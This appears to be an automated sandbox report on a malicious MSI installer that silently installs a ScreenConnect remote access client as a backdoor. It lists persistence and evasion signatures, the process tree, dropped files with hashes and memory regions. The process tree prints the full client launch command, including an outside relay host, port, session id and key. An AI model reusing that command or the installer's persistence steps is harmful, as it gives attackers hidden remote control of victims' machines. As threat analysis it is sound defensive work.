Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    20/04/2026, 10:04

General

  • Target
    _a63a308fc9e37da3e69dcfe8d11920e15be109c041365020c5cbdd08e1cd188d.msi
  • Size 12.7MB
  • Sample260420-l4emmsft2q
  • SHA256 a63a308fc9e37da3e69dcfe8d11920e15be109c041365020c5cbdd08e1cd188d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\_a63a308fc9e37da3e69dcfe8d11920e15be109c041365020c5cbdd08e1cd188d.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1728
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1836
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 758940FCABECCAD43DC0533AA9B2623A C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3336
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI25F2.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240658078 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4528
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3080
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1681EA6285E2D72D539961980288CF2C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2448
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 3F5634D6E78AFB01DF9A37364D6A460C E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2564
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3660
    • C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=dwssa.top&p=8041&s=cfd89d30-188d-48ef-b393-54190db6bd07&k=BgIAAACkAABSU0ExAAgAAAEAAQBtA1QwnxmDJgtg5PSQKM2%2fXrI5tSvGXmobxKkpApfKRxNFds%2bAugKwIdxjohpe2e5g3JX%2bNW7Ud7QqxEwJCnkQ2P74R9wWgjFP9TldixXqM%2bjDxYI%2ffVSSK8Z5VPE3KZihrLqX7XnUCm7hKENugXVTpRbEY8if4It1oTHHdD%2f6%2fd%2b3uhTNg%2f418AN6A6GJf22t%2ffti0quDPPZ1kpkEmolUJDEH6pp%2f1UhDr7dtzVjA4iFa0Dp6sUth%2bKKk0UIO%2bBogCEAgcVyvPFToAf%2f0XH4g7geDuLAukDSN7N1AleZY9WkZ9n4q%2fW1rl6lvyAD1YPR3y%2ffpaKIxtGEjS4KCDZzD&c=Transport%2012%20may&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:612
      • C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe" "RunRole" "3bf185d7-e577-451f-b6a2-a9c5febc6f09" "User"
        2⤵
        • Executes dropped EXE
        PID:2840
      • C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe" "RunRole" "4c8a5b3b-df80-4330-8810-191262e4e3ec" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3068

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e585a22.rbs

          • Path C:\Config.Msi\e585a22.rbs
          • Size 214KB
          • SHA256 ffae8e6fc6e35ec88ccffc06d93ea14d2c61afc6a2ab0ba2b6022ba01dec598a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\Client.Override.en-US.resources
          • Size 273B
          • SHA256 9fe5c3b34d425e03f2c989339e51bbff467ce8c85aa28368b86d7dae82376432
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\Client.Override.resources
          • Size 257B
          • SHA256 881a6833d2845154005f4ca1df7302b531ba0076215278f3bac85fa889bcef40
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\app.config
          • Size 1KB
          • SHA256 e8b6f0e908926adc2c1fed9621697b083a20ce0f373b1f6aa00b649569f3f8cd
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (93e544c1d065d4fc)\system.config
          • Size 947B
          • SHA256 4ee0491508c34424637f368d17cb2f6a1345a02ee6840e2b4898e6f83522979d
          • MD5 SHA1 SHA512 TLSH

          MSI25F2.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI25F2.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI25F2.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI25F2.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI25F2.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI25F2.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI5BE7.tmp

          • Path C:\Windows\Installer\MSI5BE7.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e585a21.msi

          • Path C:\Windows\Installer\e585a21.msi
          • Size 12.7MB
          • SHA256 a63a308fc9e37da3e69dcfe8d11920e15be109c041365020c5cbdd08e1cd188d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 93498485670b3029e53a264a617cc2a8566972a32d0349177262a7b5e4d7b103
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {cdf767f6-c530-41df-9adf-2c580d730912}_OnDiskSnapshotProp

          • Path \??\Volume{8f991d9f-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{cdf767f6-c530-41df-9adf-2c580d730912}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 85e1f0461b094b5be630efad9dcfa4d2906412c08d42df3fad089300d8e9d8a8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/612-97-0x0000000004000000-0x00000000040D2000-memory.dmp

          memory/612-133-0x0000000003710000-0x0000000003729000-memory.dmp

          memory/612-93-0x0000000003E10000-0x0000000003EA2000-memory.dmp

          memory/612-92-0x0000000003B50000-0x0000000003B86000-memory.dmp

          memory/612-88-0x0000000003B00000-0x0000000003B50000-memory.dmp

          memory/612-77-0x0000000003730000-0x0000000003748000-memory.dmp

          memory/612-95-0x0000000003D70000-0x0000000003DB1000-memory.dmp

          memory/1728-37-0x000001CD120D0000-0x000001CD12101000-memory.dmp

          memory/1728-123-0x000001CD120D0000-0x000001CD12101000-memory.dmp

          memory/2840-135-0x00000000026F0000-0x00000000026FC000-memory.dmp

          memory/2840-134-0x00000000010C0000-0x00000000010F1000-memory.dmp

          memory/2840-120-0x0000000002750000-0x0000000002786000-memory.dmp

          memory/2840-122-0x000000001B820000-0x000000001B9CA000-memory.dmp

          memory/2840-121-0x000000001B380000-0x000000001B40C000-memory.dmp

          memory/2840-119-0x0000000000570000-0x0000000000606000-memory.dmp

          memory/2840-124-0x000000001BB60000-0x000000001BCE8000-memory.dmp

          memory/2840-126-0x00000000027E0000-0x00000000027F8000-memory.dmp

          memory/2840-125-0x0000000002790000-0x00000000027A8000-memory.dmp

          memory/3068-129-0x0000000001340000-0x0000000001371000-memory.dmp

          memory/3068-130-0x00000000014E0000-0x00000000014EC000-memory.dmp

          memory/4528-22-0x0000000004950000-0x000000000495A000-memory.dmp

          memory/4528-18-0x0000000004920000-0x000000000494E000-memory.dmp

          memory/4528-26-0x00000000049F0000-0x0000000004A7C000-memory.dmp

          memory/4528-30-0x0000000004C30000-0x0000000004DDA000-memory.dmp

          memory/4528-31-0x0000000005390000-0x0000000005936000-memory.dmp